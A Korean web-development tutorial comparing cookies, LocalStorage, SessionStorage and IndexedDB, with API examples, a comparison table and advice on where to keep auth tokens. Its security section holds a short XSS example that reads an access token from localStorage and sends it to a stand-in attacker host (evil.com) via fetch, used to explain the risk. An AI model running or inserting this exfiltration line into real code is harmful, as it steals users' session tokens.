브라우저 저장소 비교 — Cookie, LocalStorage, SessionStorage, IndexedDB
새로고침하면 로그인이 풀리는 사이트와 안 풀리는 사이트의 차이는 뭘까요? 브라우저는 데이터를 어디에, 어떻게 기억하고 있는 걸까요?
왜 브라우저에 데이터를 저장하는가
HTTP는 기본적으로 무상태(Stateless) 프로토콜입니다. 서버는 각 요청을 독립적으로 처리하기 때문에, "이 사용자가 로그인했는지" 같은 정보를 기억하지 못합니다.
브라우저 저장소가 필요한 대표적인 이유 세 가지입니다.
- ** 상태 유지** — 로그인 상태, 장바구니, 다크 모드 설정 등을 페이지 이동 간에도 유지
- ** 성능 캐시** — API 응답이나 정적 리소스를 로컬에 캐시해서 네트워크 요청을 줄임
- ** 오프라인 지원** — PWA(Progressive Web App)에서 네트워크 없이도 앱이 동작하도록 데이터를 미리 저장
이 세 가지 요구를 충족하기 위해 브라우저는 여러 저장소를 제공하는데, 각각 용도와 특성이 다릅니다.
Cookie — 서버와 소통하는 저장소
쿠키는 브라우저 저장소 중 ** 유일하게 HTTP 요청 시 서버로 자동 전송 **되는 저장소입니다. 원래 서버 측 세션 관리를 위해 만들어졌습니다.
기본 사용법
// 쿠키 설정
document.cookie = "theme=dark; max-age=86400; path=/";
// 쿠키 읽기 — 모든 쿠키가 하나의 문자열로 반환됨
console.log(document.cookie); // "theme=dark; user=john"
// 쿠키 삭제 — max-age를 0으로 설정
document.cookie = "theme=; max-age=0; path=/";
document.cookie의 API가 다소 불편하다는 건 공부하면서 바로 느꼈습니다. 읽을 때 문자열 파싱을 직접 해야 하고, 개별 쿠키를 바로 가져오는 메서드가 없습니다.
주요 속성
// 보안 속성을 모두 적용한 쿠키 설정
document.cookie = [
"sessionId=abc123",
"max-age=3600", // 1시간 후 만료
"path=/", // 모든 경로에서 접근 가능
"Secure", // HTTPS에서만 전송
"SameSite=Strict", // 같은 사이트 요청에서만 전송
// HttpOnly는 서버에서만 설정 가능 — JS로는 설정 불가
].join("; ");
각 속성이 하는 역할을 정리하면 이렇습니다.
| 속성 | 역할 |
|---|---|
max-age / expires | 만료 시간 설정. 없으면 세션 쿠키(브라우저 닫으면 삭제) |
path | 쿠키가 전송될 URL 경로 제한 |
domain | 쿠키가 전송될 도메인 범위 |
Secure | HTTPS 연결에서만 쿠키 전송 |
HttpOnly | JavaScript에서 접근 불가 (서버에서만 설정) |
SameSite | CSRF 방어 — Strict, Lax, None 중 선택 |
쿠키의 한계
- ** 용량 제한 **: 쿠키 하나당 약 4KB, 도메인당 약 20~50개
- ** 매 요청마다 전송 **: 불필요한 쿠키가 많으면 네트워크 오버헤드 발생
- ** 문자열만 저장 **: 객체를 저장하려면 JSON 직렬화 필요
LocalStorage — 간단하고 영구적인 저장소
LocalStorage는 document.cookie의 불편한 API를 보완하듯, 직관적인 key-value 저장소를 제공합니다.
기본 사용법
// 데이터 저장
localStorage.setItem("username", "john");
// 데이터 읽기
const name = localStorage.getItem("username"); // "john"
// 데이터 삭제
localStorage.removeItem("username");
// 전체 삭제
localStorage.clear();
// 객체 저장 — 반드시 JSON 변환 필요
const user = { name: "john", age: 25 };
localStorage.setItem("user", JSON.stringify(user));
const saved = JSON.parse(localStorage.getItem("user"));
특징
- ** 용량 **: 약 5~10MB (브라우저마다 다름)
- ** 만료 없음 **: 명시적으로 삭제하지 않으면 영구 보존
- ** 동기 API**: 메인 스레드에서 실행되므로, 대량 데이터 읽기/쓰기 시 UI가 잠깐 멈출 수 있음
- ** 같은 출처(origin)의 모든 탭/창에서 공유**
공부하면서 주의해야겠다고 느낀 점은, ** 문자열만 저장 가능 **하다는 것입니다. setItem에 객체를 그냥 넣으면 [object Object]라는 문자열이 저장됩니다.
// 흔한 실수
localStorage.setItem("user", { name: "john" });
localStorage.getItem("user"); // "[object Object]" — 데이터 손실!
Storage 이벤트
같은 출처의 다른 탭에서 LocalStorage가 변경되면 이벤트를 받을 수 있습니다. 탭 간 간단한 통신에 활용할 수 있는 부분입니다.
// 다른 탭에서 LocalStorage가 변경되면 호출됨
window.addEventListener("storage", (event) => {
console.log(`키: ${event.key}`);
console.log(`이전 값: ${event.oldValue}`);
console.log(`새 값: ${event.newValue}`);
});
SessionStorage — 탭 단위로 격리되는 저장소
SessionStorage는 LocalStorage와 API가 완전히 동일 합니다. 차이는 딱 하나, 데이터의 수명 범위 입니다.
// LocalStorage와 동일한 API
sessionStorage.setItem("tempData", "임시 데이터");
sessionStorage.getItem("tempData");
sessionStorage.removeItem("tempData");
sessionStorage.clear();
LocalStorage와의 차이
| LocalStorage | SessionStorage | |
|---|---|---|
| 수명 | 영구 (직접 삭제 전까지) | 탭(세션) 종료 시 삭제 |
| 탭 간 공유 | 같은 출처면 공유 | 탭마다 독립 |
| 새 탭으로 열기 | 데이터 공유됨 | 새 탭은 빈 저장소 |
"같은 페이지를 두 탭에서 열면 각각 다른 SessionStorage를 갖는다"는 점이 핵심입니다. 멀티스텝 폼(회원가입 단계별 입력) 같은 곳에서 유용합니다. 한 탭에서의 입력이 다른 탭에 영향을 주지 않으니까요.
IndexedDB — 브라우저 안의 데이터베이스
앞의 세 저장소가 단순 key-value 문자열 저장소라면, IndexedDB는 진짜 데이터베이스에 가깝습니다. **비동기 **, ** 트랜잭션 기반 , ** 대용량 저장이 가능합니다.
기본 사용법
IndexedDB의 API는 다소 장황합니다. 처음 보면 복잡하게 느껴지는데, 핵심 흐름은 DB 열기 → 스토어 생성 → 트랜잭션 안에서 CRUD 입니다.
// 1. 데이터베이스 열기 (이름, 버전)
const request = indexedDB.open("MyDatabase", 1);
// 2. 최초 생성 또는 버전 업그레이드 시 스키마 정의
request.onupgradeneeded = (event) => {
const db = event.target.result;
// 객체 저장소(Object Store) 생성 — RDB의 테이블과 비슷
const store = db.createObjectStore("users", { keyPath: "id" });
// 인덱스 생성 — 검색 성능 향상
store.createIndex("nameIndex", "name", { unique: false });
};
// 3. DB 열기 성공
request.onsuccess = (event) => {
const db = event.target.result;
// 트랜잭션 시작
const tx = db.transaction("users", "readwrite");
const store = tx.objectStore("users");
// 데이터 추가 — 문자열뿐 아니라 객체, 배열, Blob 등 저장 가능
store.add({ id: 1, name: "john", age: 25 });
store.add({ id: 2, name: "jane", age: 30 });
// 데이터 읽기
const getRequest = store.get(1);
getRequest.onsuccess = () => {
console.log(getRequest.result); // { id: 1, name: "john", age: 25 }
};
tx.oncomplete = () => {
console.log("트랜잭션 완료");
};
};
request.onerror = (event) => {
console.error("DB 열기 실패:", event.target.error);
};
특징
- **비동기 **: 메인 스레드를 차단하지 않음 (콜백/이벤트 기반)
- ** 대용량 : 브라우저와 디스크 공간에 따라 ** 수백 MB ~ 수 GB
- ** 트랜잭션 기반 **: 읽기/쓰기 작업의 원자성 보장
- ** 구조화된 데이터 **: 객체, 배열,
Blob,File,ArrayBuffer등 다양한 타입 직접 저장 - ** 인덱스 지원 **: 특정 필드로 빠른 검색 가능
실무에서는 래퍼 라이브러리를 사용
네이티브 IndexedDB API가 콜백 기반이라 코드가 길어지기 때문에, 실무에서는 보통 래퍼 라이브러리를 사용합니다.
// idb 라이브러리 사용 예시 — Promise 기반으로 훨씬 깔끔
import { openDB } from "idb";
async function saveUser(user) {
const db = await openDB("MyDatabase", 1, {
upgrade(db) {
db.createObjectStore("users", { keyPath: "id" });
},
});
// 트랜잭션 + 저장을 한 줄로
await db.put("users", user);
// 조회도 간단
const saved = await db.get("users", user.id);
console.log(saved);
}
비교 표
네 가지 저장소를 한눈에 비교하면 이렇습니다.
| Cookie | LocalStorage | SessionStorage | IndexedDB | |
|---|---|---|---|---|
| ** 용량** | ~4KB | 5~10MB | 5~10MB | 수백 MB+ |
| ** 만료** | 설정 가능 | 영구 | 탭 종료 시 | 영구 |
| ** 서버 전송** | 자동 전송 | X | X | X |
| ** 동기/비동기** | 동기 | 동기 | 동기 | 비동기 |
| ** 데이터 형식** | 문자열 | 문자열 | 문자열 | 구조화 데이터 |
| ** 탭 간 공유** | O | O | X | O |
| ** 접근 방식** | document.cookie | localStorage | sessionStorage | indexedDB |
| ** 주 용도** | 인증, 서버 설정 | 사용자 설정, 캐시 | 임시 폼 데이터 | 오프라인 캐시, 대용량 데이터 |
보안 고려사항
브라우저 저장소를 사용할 때 가장 주의할 점은 XSS(Cross-Site Scripting) 공격 입니다.
XSS와 저장소의 관계
XSS 공격이 성공하면 공격자의 스크립트가 페이지에서 실행되고, 이때 JavaScript로 접근 가능한 모든 저장소의 데이터가 탈취 됩니다.
// XSS 공격 시나리오 — 공격자 스크립트가 실행되면
const token = localStorage.getItem("accessToken");
// 토큰을 공격자 서버로 전송
fetch(`https://evil.com/steal?token=${token}`);
- LocalStorage, SessionStorage: JavaScript로 자유롭게 접근 가능 → XSS에 취약
- Cookie (HttpOnly): JavaScript에서 접근 불가 → XSS로부터 보호됨
- IndexedDB: JavaScript로 접근 가능 → XSS에 취약
저장하면 안 되는 것들
브라우저 저장소의 종류와 무관하게, 다음 데이터는 ** 클라이언트에 저장하면 안 됩니다 **.
- 비밀번호 (평문)
- 신용카드 번호
- 주민등록번호 같은 민감 개인정보
- 암호화되지 않은 비밀 키
브라우저 저장소는 기본적으로 암호화되지 않습니다. 개발자 도구를 열면 누구나 내용을 볼 수 있다는 점을 항상 기억해야 합니다.
실무 선택 가이드
인증 토큰은 어디에?
이 질문은 정말 자주 나오는 주제인데, 정리하면 이렇습니다.
인증 토큰 저장 위치 결정 트리:
서버에서 쿠키를 설정할 수 있는가?
├── Yes → HttpOnly + Secure + SameSite=Strict 쿠키 ✅ (가장 안전)
└── No (SPA에서 직접 관리해야 하는 경우)
├── 토큰 수명이 짧은가? (Access Token)
│ └── 메모리(변수)에 저장 → 새로고침 시 재발급
└── Refresh Token이 필요한가?
└── HttpOnly 쿠키로 서버가 설정 ✅
LocalStorage에 JWT를 저장하는 건 편리하지만 XSS에 취약 합니다. 가능하다면 서버에서 HttpOnly 쿠키로 설정하는 방식을 권장합니다.
사용자 설정(테마, 언어)은?
// LocalStorage가 적합 — 영구 보존, 서버 전송 불필요
function saveThemePreference(theme) {
localStorage.setItem("theme", theme);
}
function loadThemePreference() {
return localStorage.getItem("theme") || "light";
}
// 페이지 로드 시 즉시 적용
document.documentElement.setAttribute("data-theme", loadThemePreference());
서버에 전송할 필요 없고, 탭 간에 공유되어야 하며, 브라우저를 닫아도 유지되어야 하므로 LocalStorage가 딱 맞습니다.
멀티스텝 폼 임시 데이터는?
// SessionStorage가 적합 — 탭 단위 격리, 탭 종료 시 자동 삭제
function saveFormStep(step, data) {
const formData = JSON.parse(sessionStorage.getItem("signupForm") || "{}");
formData[`step${step}`] = data;
sessionStorage.setItem("signupForm", JSON.stringify(formData));
}
// 다른 탭에서 같은 폼을 열어도 데이터가 섞이지 않음
대용량 캐시(오프라인 데이터)는?
// IndexedDB가 적합 — 대용량, 비동기, 구조화 데이터
import { openDB } from "idb";
async function cacheApiResponse(endpoint, data) {
const db = await openDB("AppCache", 1, {
upgrade(db) {
const store = db.createObjectStore("responses", { keyPath: "endpoint" });
store.createIndex("timestamp", "cachedAt");
},
});
await db.put("responses", {
endpoint,
data,
cachedAt: Date.now(),
});
}
async function getCachedResponse(endpoint, maxAge = 5 * 60 * 1000) {
const db = await openDB("AppCache", 1);
const cached = await db.get("responses", endpoint);
// 캐시가 있고, 만료되지 않았으면 반환
if (cached && Date.now() - cached.cachedAt < maxAge) {
return cached.data;
}
return null; // 캐시 미스 — 네트워크 요청 필요
}
정리
각 저장소를 한 줄로 요약하면 이렇습니다.
- Cookie: 서버와 통신이 필요한 인증/세션 관리에 사용.
HttpOnly로 보안 강화 - LocalStorage: 영구적인 클라이언트 설정(테마, 언어). 단순하고 동기적
- SessionStorage: 탭 단위 임시 데이터. 탭 닫으면 자동 정리
- IndexedDB: 대용량 구조화 데이터, 오프라인 캐시. 비동기로 성능에 유리
저장소를 고를 때는 "서버에 보내야 하나? → 얼마나 오래 유지해야 하나? → 얼마나 큰 데이터인가?"를 순서대로 따져보면 자연스럽게 답이 나옵니다.